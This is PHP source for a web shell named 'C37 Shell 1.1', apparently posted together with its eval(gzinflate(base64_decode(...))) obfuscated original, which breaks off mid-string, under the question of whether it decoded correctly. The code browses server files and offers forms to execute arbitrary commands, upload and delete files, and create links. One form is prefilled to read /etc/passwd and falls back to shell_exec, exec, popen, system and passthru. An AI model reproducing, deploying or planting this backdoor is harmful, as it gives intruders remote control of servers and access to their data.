}					elseif($_GET['type']==='begins'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos(strtolower($CDrsyObt0bjy[$CDrsyObtJKjy]),$_GET['search'])===0){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='nbegins'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos(strtolower($CDrsyObt0bjy[$CDrsyObtJKjy]),$_GET['search'])!==0){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='ends'){						$CDrsyObtlbjy=strlen($_GET['search']);						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(preg_match('/'.preg_quote($_GET['search'],'/i').'$/',$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='nends'){						$CDrsyObtlbjy=strlen($_GET['search']);						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(!preg_match('/'.preg_quote($_GET['search'],'/i').'$/',$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='nendsbegins'){						$CDrsyObtlbjy=strlen($_GET['search']);						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(!preg_match('/.+'.preg_quote($_GET['search'],'/i').'.+$/',$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='contains'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos(strtolower($CDrsyObt0bjy[$CDrsyObtJKjy]),$_GET['search'])!==FALSE){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='ncontains'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos(strtolower($CDrsyObt0bjy[$CDrsyObtJKjy]),$_GET['search'])===FALSE){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}				}				elseif(!isset($_GET['casein'])){					if($_GET['type']==='exact'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if($_GET['search']===$CDrsyObt0bjy[$CDrsyObtJKjy]){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='begins'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos($CDrsyObt0bjy[$CDrsyObtJKjy],$_GET['search'])===0){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='nbegins'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos($CDrsyObt0bjy[$CDrsyObtJKjy],$_GET['search'])!==0){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='ends'){						$CDrsyObtlbjy=strlen($_GET['search']);						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(preg_match('/'.preg_quote($_GET['search'],'/').'$/',$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='nends'){						$CDrsyObtlbjy=strlen($_GET['search']);						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(!preg_match('/'.preg_quote($_GET['search'],'/').'$/',$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='nendsbegins'){						$CDrsyObtlbjy=strlen($_GET['search']);						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(!preg_match('/.+'.preg_quote($_GET['search'],'/').'.+$/',$CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='contains'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos($CDrsyObt0bjy[$CDrsyObtJKjy],$_GET['search'])!==FALSE){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}					elseif($_GET['type']==='ncontains'){						for($CDrs7ObtJbjy=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){							if(strpos($CDrsyObt0bjy[$CDrsyObtJKjy],$_GET['search'])===FALSE){$CDrsCObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}						}					}				}				$CDrkyObtJbjy=count($CDrsCObtJbjy);				for($CDrs7ObtJbjy=0,$CDrsyObtJbjv=0;$CDrsyObtJFjy<$CDrkyObtJbjy;$CDrsyObtJFjy++){					if(is_file($CDrsyObt0bjy[$CDrsCObtJbjy[$CDrsyObtJFjy]])){$CDrdyObtJbjyDrsyObtJbjy[$CDrs7ObtJbjy++]=$CDrsCObtJbjy[$CDrsyObtJFjy];}					else{$CDrsyObpJbjy[$CDrsyObtJbjv++]=$CDrsCObtJbjy[$CDrsyObtJFjy];}				}			}			else{				for($CDrsyObtJKjy=0,$CDrs7ObtJbjy=0,$CDrsyObtJbjv=0;$CDrsyObtJKjy<$CDrsyObtJVjy;$CDrsyObtJKjy++){					if(is_file($CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrdyObtJbjyDrsyObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObtJKjy;}					else{$CDrsyObpJbjy[$CDrsyObtJbjv++]=$CDrsyObtJKjy;}				}			}			foreach($CDrsyObpJbjy AS $CDssyObtJbjy){							++$CDrsyLbtJbjy;echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=dir" width="17" height="14" alt="Dir" /></td><td><a href="?dir=',$SCDIR,urlencode($dir[$dirFILE]),'">['.$CDrsyObt0bjy[$CDssyObtJbjy].']</a></td></tr></table></td><td>DIR</td><td>',date('F d Y H:i:s.',filemtime($CDrsyObt0bjy[$CDssyObtJbjy])).'</td><td>';$CDrdyObtJbjy=filegroup($CDrsyObt0bjy[$CDssyObtJbjy]);$CDrsyObtJb2y=fileowner($CDrsyObt0bjy[$CDssyObtJbjy]);echo $CDrsyObtJb2y;if(function_exists('posix_getpwuid')){$XDrsyObtJbjy=posix_getpwuid($CDrsyObtJb2y);echo ' (',$XDrsyObtJbjy['name'],')';}echo '/',$CDrdyObtJbjy;if(function_exists('posix_getgrgid')){$CDFsyObtJbjy=posix_getgrgid($CDrdyObtJbjy);if(is_array($CDFsyObtJbjy)){echo ' (',$CDFsyObtJbjy['name'],')';}}echo '</td><td><a href="?action=file&amp;act=chmod&amp;file=',urlencode($dir[$dirFILE]),'&amp;dir=',$SCDIR,'"><font';$CDrdyObtJbjy=GetPerms($CDrsyObt0bjy[$CDssyObtJbjy]);$CDrsyObtJb2y=substr($CDrdyObtJbjy,7);if($CDrsyObtJb2y==='--x'||$CDrsyObtJb2y==='---'){echo ' color="red">';}elseif($CDrsyObtJb2y==='rwx'||$CDrsyObtJb2y==='rw-'){echo ' color="green">';}else{echo '>';}echo $CDrdyObtJbjy,'</font></a></td><td><a href="?action=dir&amp;dir=',$SCDIR,'&amp;dirname=',urlencode($dir[$dirFILE]),'">INFO</a></td></tr>';			}			foreach($CDrdyObtJbjyDrsyObtJbjy AS $CDssyObtJbjy){				if(is_link($CDrsyObt0bjy[$CDssyObtJbjy])){									++$EDrsyObtJbjy;echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=link" width="16" height="16" alt="SymLink" /></td><td>';$EDrsyObtJbjy=readlink($CDrsyObt0bjy[$CDssyObtJbjy]);if(is_dir($CDrsyObt0bjy[$CDssyObtJbjy])){echo '<a href="?dir=',urlencode(realpath($dir[$dirFILE])),'">[',$CDrsyObt0bjy[$CDssyObtJbjy],']';}else{echo '<a href="?action=file&amp;file=',realpath($L),'">',$CDrsyObt0bjy[$CDssyObtJbjy];}echo '</a></td></tr></table></td><td>LINK -> ',$EDrsyObtJbjy;if(linkinfo($EDrsyObtJbjy)!=-1){echo ' <font color="green">[Exists]</font>';}else{echo ' <font color="red">[Exists]</font>';}echo '</td><td>',date('F d Y H:i:s.',filemtime($CDrsyObt0bjy[$CDssyObtJbjy])),'</td><td>';$CDrdyObtJbjy=filegroup($CDrsyObt0bjy[$CDssyObtJbjy]);$CDrsyObtJb2y=fileowner($CDrsyObt0bjy[$CDssyObtJbjy]);echo $CDrsyObtJb2y;if(function_exists('posix_getpwuid')){$XDrsyObtJbjy=posix_getpwuid($CDrsyObtJb2y);echo ' (',$XDrsyObtJbjy['name'],')';}echo '/',$CDrdyObtJbjy;if(function_exists('posix_getgrgid')){$CDFsyObtJbjy=posix_getgrgid($CDrdyObtJbjy);if(is_array($CDFsyObtJbjy)){echo ' (',$CDFsyObtJbjy['name'],')';}}echo '</td><td><font';$CDrdyObtJbjy=GetPerms($CDrsyObt0bjy[$CDssyObtJbjy]);$CDrsyObtJb2y=substr($CDrdyObtJbjy,7);if($CDrsyObtJb2y==='--x'||$CDrsyObtJb2y==='---'){echo ' color="red">';}elseif($CDrsyObtJb2y==='rwx'||$CDrsyObtJb2y==='rw-'){echo ' color="green">';}else{echo '>';}echo $CDrdyObtJbjy.'</font></a></td></tr>';						}				else{									++$CDrsyObtJbjL;$CDrsyObtJbjg=urlencode($CDrsyObt0bjy[$CDssyObtJbjy]);$xDrsyObtJbjy='.:';if(strpos($CDrsyObt0bjy[$CDssyObtJbjy],'.')!==FALSE){$xDrsyObtJbjy=strrchr($CDrsyObt0bjy[$CDssyObtJbjy],'.');}echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="',$ImgSRC,$eXT,'" width="16" height="16" alt="" /></td><td><a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',$File,'">',$CDrsyObt0bjy[$CDssyObtJbjy],'</a></td></tr></table></td><td>';$CDrsyObtJb2y=sprintf('%u',filesize($CDrsyObt0bjy[$CDssyObtJbjy]));while($CDrsyObtJb2y>=1024){$CDrsyObtJb2y/=1024;++$ZDrsyObtJbjy;}if($ZDrsyObtJbjy===0){echo $CDrsyObtJb2y,' Bytes';}else{printf('%.3f %s',$CDrsyObtJb2y,$CDrsyObtJbj5[$ZDrsyObtJbjy-1]);$ZDrsyObtJbjy=0;}echo '</td><td>',date('F d Y H:i:s.',filemtime($CDrsyObt0bjy[$CDssyObtJbjy])),'</td><td>';$CDrdyObtJbjy=filegroup($CDrsyObt0bjy[$CDssyObtJbjy]);$CDrsyObtJb2y=fileowner($CDrsyObt0bjy[$CDssyObtJbjy]);echo $CDrsyObtJb2y;if(function_exists('posix_getpwuid')){$XDrsyObtJbjy=posix_getpwuid($CDrsyObtJb2y);echo ' (',$XDrsyObtJbjy['name'],')';}echo '/',$CDrdyObtJbjy;if(function_exists('posix_getgrgid')){$CDFsyObtJbjy=posix_getgrgid($CDrdyObtJbjy);if(is_array($CDFsyObtJbjy)){echo ' (',$CDFsyObtJbjy['name'],')';}}echo '</td><td><a href="?action=file&amp;act=chmod&amp;file=',$File,'&amp;dir=',$SCDIR,'"><font';$CDrdyObtJbjy=GetPerms($CDrsyObt0bjy[$CDssyObtJbjy]);$CDrsyObtJb2y=substr($CDrdyObtJbjy,7);if($CDrsyObtJb2y==='--x'||$CDrsyObtJb2y==='---'){echo ' color="red">';}elseif($CDrsyObtJb2y==='rwx'||$CDrsyObtJb2y==='rw-'){echo ' color="green">';}else{echo '>';}echo $CDrdyObtJbjy,'</font></a></td><td><a href="?action=download&amp;dir=',$SCDIR,'&amp;file=',$File,'"><img src="?action=img&amp;image=down" width="20" height="20" alt="Download" /></a> <input type="checkbox" name="F[',$i,']" value="',$dir[$dirFILE],'" /></td></tr>';				}			}		}		echo '</table></div>
		<br />
		<span style="font-size:12px;color:red;" title="Files\Sub-Directories in ',htmlspecialchars($CDIR),'">:: [Listing ',$CDrsyObtJbjL+1,' Files';		if($CDr6yObtJbjy<-1){if($CDrsyObtJbjL<-1){echo ', ';}echo $CDr6yObtJbjy+1,'Links';}		if(($CDrsyLbtJbjy>2 &&!isset($CDtsyObtJbjy))||($CDrsyLbtJbjy>0 && isset($CDtsyObtJbjy))){echo ' and ';if(!isset($CDtsyObtJbjy)){echo $CDrsyLbtJbjy-1;}else{echo $CDrsyLbtJbjy+1;}echo ' sub-directories';}		echo ' in the current directory] ::</span><br />
			<div style="width:95%;text-align:left;">
				<select id="val" name="val">
					<option selected="selected">With Selected:</option>
					<option value="1">Delete Files</option>
					<option value="3">Zip into Archive</option>
				</select> 
				<input type="submit" value="&gt;&gt;" style="margin-right:15px;" /> 
				<a style="background-color:black;padding:4px;font-weight:600;cursor:default;" onclick="javascript:for (i=0;i&lt;document.getElementById(\'Form\').elements.length;i++) {document.getElementById(\'Form\').elements[i].checked=true; }">Check all</a> 
				<a style="background-color:black;padding:4px;font-weight:600;cursor:default;" onclick="javascript:for (i=0;i&lt;document.getElementById(\'Form\').elements.length;i++) {document.getElementById(\'Form\').elements[i].checked=false; }">Uncheck all</a>
			</div>
		</form>
		<br />
		<table style="text-align:center;">
			<tr>
				<td>
					<form action="?dir=',$SCDIR,'&amp;act=FileMake" method="post" style="display:inline;">Create a new file
						<br />
						<input type="text" id="fm" name="fm" size="40" /> 
						<input type="submit" value="Create" />
					</form>
				</td>
				<td>
					<form action="?action=CLI&amp;dir=',$SCDIR,'" method="post" style="display:inline;">Execute command
						<br />
						<input type="text" id="c" name="c" size="40" /> 
						<input type="submit" value="Exec" />
					</form>
				</td>
			</tr>
			<tr>
				<td>
					<form action="?dir=',$SCDIR,'&amp;act=DirMake" method="post" style="display:inline;">Create a new directory
						<br />
						<input type="text" id="dm" name="dm" size="40" /> 
						<input type="submit" value="Create" />
					</form>
				</td>
				<td>
					<form enctype="multipart/form-data" action="?dir=',$SCDIR,'&amp;act=Upload" method="post" style="display:inline;">Upload file
						<br />
						<input type="file" id="File" name="File" size="20" /> 
						<span style="cursor:pointer;color:red;" onclick="javascript:';
						if (ini_get('max_file_uploads') != '') { echo 'if (numoffields &lt;= ',ini_get('max_file_uploads'),') { '; }
						echo 'document.getElementById(next).innerHTML+=\'&lt;input type=\'file\' id=\'File\'+i+\'\' name=\'File\'+i+\'\' size=\'20\' /&gt;&lt;div id=\'ADD\'+i+\'\' style=\'text-align:left;display:none;\'&gt;&lt;/div&gt;\';';
						if (ini_get('max_file_uploads') != '') { echo 'numoffields++; }'; }
						echo 'document.getElementById(next).style.display=\'block\';next=\'ADD\'+i;i++;">[ADD]</span> 
						<input type="submit" value="Upload" />
						<div id="ADD" style="text-align:left;display:none;"></div>
					</form>
				</td>
			</tr>
			<tr>
				<td valign="top">
					<form action="?dir=',$SCDIR,'&amp;power=FileRead" method="post"><br />Try every function to read a file
						<br />
						<input type="text" id="value" name="value" size="40" value="/etc/passwd" /> 
						<input type="submit" value="Read" style="width:60px;" />
					</form>';					if(isset($_GET['power'])&& $_GET['power']==='FileRead'){						echo '<br />';						if(is_readable($_POST['value'])&& sprintf('%u',filesize($_POST['value']))>0){							$CDrsyObtJbjg='';							$CDrsyObtJbjg=TfRvnFLtvgEJ($_POST['value']);							if($CDrsyObtJbjg!==''){$nDrsyObtJbjy=TRUE;}							else{								$CDrsyObtMbjy=fopen($_POST['value'],'rb');								$CDrsyObtJbjg=fread($CDrsyObtMbjy,sprintf('%u',filesize($_POST['value'])));								if($CDrsyObtJbjg!==''){$nDrsyObtJbjy=TRUE;}								else{									while(!feof($CDrsyObtMbjy)){										$CDrsyObtJbjg=fgets($CDrsyObtMbjy,4096);									}									if($CDrsyObtJbjg!==''){$nDrsyObtJbjy=TRUE;}									else{										fclose($CDrsyObtMbjy);										$CDrsyOWtJbjy=readfile($_POST['value']);										if($CDrsyOWtJbjy!==FALSE){$nDrsyObtJbjy=TRUE;}										else{											while(FALSE!==($CDrsyOWtJbjy=fgetc($CDrsyObtMbjy))){												$CDrsyObtJbjg.=$CDrsyOWtJbjy;											}											if($CDrsyObtJbjg!==''){$nDrsyObtJbjy=TRUE;}											else{												fclose($CDrsyObtMbjy);												if(!$CDrSyObtJbjy){													if(function_exists('system')|| function_exists('passthru')|| function_exists('shell_exec')|| function_exists('exec')|| function_exists('popen')){														if(function_exists('shell_exec')){echo htmlspecialchars(shell_exec('cat '.$_POST['value']));$nDrsyObtJbjy=TRUE;}														elseif(function_exists('exec')){$CDrsyObtJbjI=array();exec('cat '.$_POST['value'],$CDrsyObtJbjI);foreach($CDrsyObtJbjI AS $CDrsyOxtJUjy){echo htmlspecialchars($CDrsyOxtJUjy);}$nDrsyObtJbjy=TRUE;}														elseif(function_exists('popen')){$CDwsyObtJbjy='';$CDrsyObtMbjy=popen('cat '.$_POST['value'],'r');while($CDwsyObtJbjy=fread($CDrsyObtMbjy,2096)){echo htmlspecialchars($CDwsyObtJbjy);}pclose($CDrsyObtMbjy);$nDrsyObtJbjy=TRUE;}														elseif(function_exists('system')&& system('cat '.$_POST['value'])){$nDrsyObtJbjy=TRUE;}														elseif(function_exists('passthru')){passthru('cat '.$_POST['value']);$nDrsyObtJbjy=TRUE;}													}												}												else{													if(function_exists('system')|| function_exists('passthru')|| function_exists('shell_exec')|| function_exists('exec')|| function_exists('popen')){														if(function_exists('shell_exec')){echo htmlspecialchars(shell_exec('type '.$_POST['value']));$nDrsyObtJbjy=TRUE;}														elseif(function_exists('exec')){$CDrsyObtJbjI=array();exec('type '.$_POST['value'],$CDrsyObtJbjI);foreach($CDrsyObtJbjI AS $CDrsyOxtJUjy){echo htmlspecialchars($CDrsyOxtJUjy);}$nDrsyObtJbjy=TRUE;}														elseif(function_exists('popen')){$CDwsyObtJbjy='';$CDrsyObtMbjy=popen('type '.$_POST['value'],'r');while($CDwsyObtJbjy=fread($CDrsyObtMbjy,2096)){echo htmlspecialchars($CDwsyObtJbjy);}pclose($CDrsyObtMbjy);$nDrsyObtJbjy=TRUE;}														elseif(function_exists('system')){system('type '.$_POST['value']);$nDrsyObtJbjy=TRUE;}														elseif(function_exists('passthru')){passthru('type '.$_POST['value']);$nDrsyObtJbjy=TRUE;}													}												}											}										}									}								}							}							if(isset($nDrsyObtJbjy)){echo '<br /><textarea rows="5" cols="38" readonly="readonly">',htmlspecialchars($CDrsyObtJbjg),'</textarea>';}							else{echo '<br />Can\'t read file.'; }
						}
						else { echo 'File does not exist or is not readable or its size is 0'; }
					}
			echo '</td>				<td valign="top">					<form action="?dir=',$CDrsyObtJUjy,'&amp;act=Link" method="post">						Create link<br/>						<table>							<tr>								<td>									<input type="text" id="Name" name="Name" value="Link Name" onclick="javascript:if (this.value === \'Link Name\') this.value=\'\';" onblur="javascript: if(this.value === \'\') { this.value = \'Link name\'; }" style="width:140px;"/><br/><input type="text" id="To" name="To" value="Target of the link" onclick="javascript:if (this.value === \'Target of the link\') this.value=\'\';" onblur="javascript: if(this.value === \'\') { this.value = \'Target of the link\'; }" style="width:140px;"/>								</td>								<td valign="middle">									<select id="type" name="type">										<option value="s">Symbolic Link</option>										<option value="h">Hard Link</option>									</select>									<input type="submit" value="Create"/>								</td>							</tr>						</table>					</form>				</td>			</tr>		</table>';
	}
}

function GetPerms(&$F) { $perms = fileperms($F); if (($perms&0xC000)==0xC000) { $info='s'; } elseif (($perms&0xA000)==0xA000) { $info='l'; } elseif (($perms&0x8000)==0x8000) { $info='-'; } elseif (($perms&0x6000)==0x6000) { $info='b'; } elseif (($perms&0x4000)==0x4000) { $info='d'; } elseif (($perms&0x2000)==0x2000) { $info='c'; } elseif (($perms&0x1000)==0x1000) { $info='p'; } else { $info='u'; } $info.=(($perms&0x0100) ? 'r':'-'); $info.=(($perms&0x0080) ? 'w':'-'); $info.=(($perms&0x0040) ?(($perms&0x0800) ? 's':'x'):(($perms&0x0800) ? 'S':'-')); $info.=(($perms&0x0020) ? 'r':'-'); $info.=(($perms&0x0010) ? 'w':'-'); $info.=(($perms&0x0008) ?(($perms&0x0400) ? 's':'x' ):(($perms&0x0400) ? 'S':'-')); $info.=(($perms&0x0004) ? 'r':'-'); $info.=(($perms&0x0002) ? 'w':'-'); $info.=(($perms&0x0001) ?(($perms&0x0200) ? 't':'x'):(($perms&0x0200) ? 'T':'-'));return $info; }
function GetLastError() {
	if (function_exists('error_get_last')) {
		$A = error_get_last();
		if ($A!==NULL) { echo '<br/>(error_get_last: [Type]: ',$A['type'],' | [Message]: ',$A['message'],')'; } 
		return;
	}
	else { return; }
}

echo '<br/><br/><div style="border: 1px solid #303030;padding:3px; margin-left:-9px; margin-right:-8px;">	-[<font color="red">C37 Shell</font>1.1]	| [<a href="http://www.stayinvisible.com/" target="_blank">		<font color="red">Remote IP:</font>',$_SERVER['REMOTE_ADDR'];
		if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo '<font color="red">Forwarded For:</font>',$_SERVER['HTTP_X_FORWARDED_FOR']; }
		if (!empty($_SERVER['HTTP_CLIENT_IP'])) { echo '<font color="red">Client IP:</font>',$_SERVER['HTTP_CLIENT_IP']; }
		if (!empty($_SERVER['HTTP_PROXY_USER'])) { echo '<font color="red">Proxy user:</font>',$_SERVER['HTTP_PROXY_USER']; }
	echo '</a>| 	CODED BY<span style="color:white;font-weight:bold;">REACTiON</span>]-</div></center><script type="text/javascript">var i=2;var numoffields=0;var next=\'ADD\';</script></body></html><textarea style="display:none;opacity:0;" rows="0" cols="0">';?>

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode("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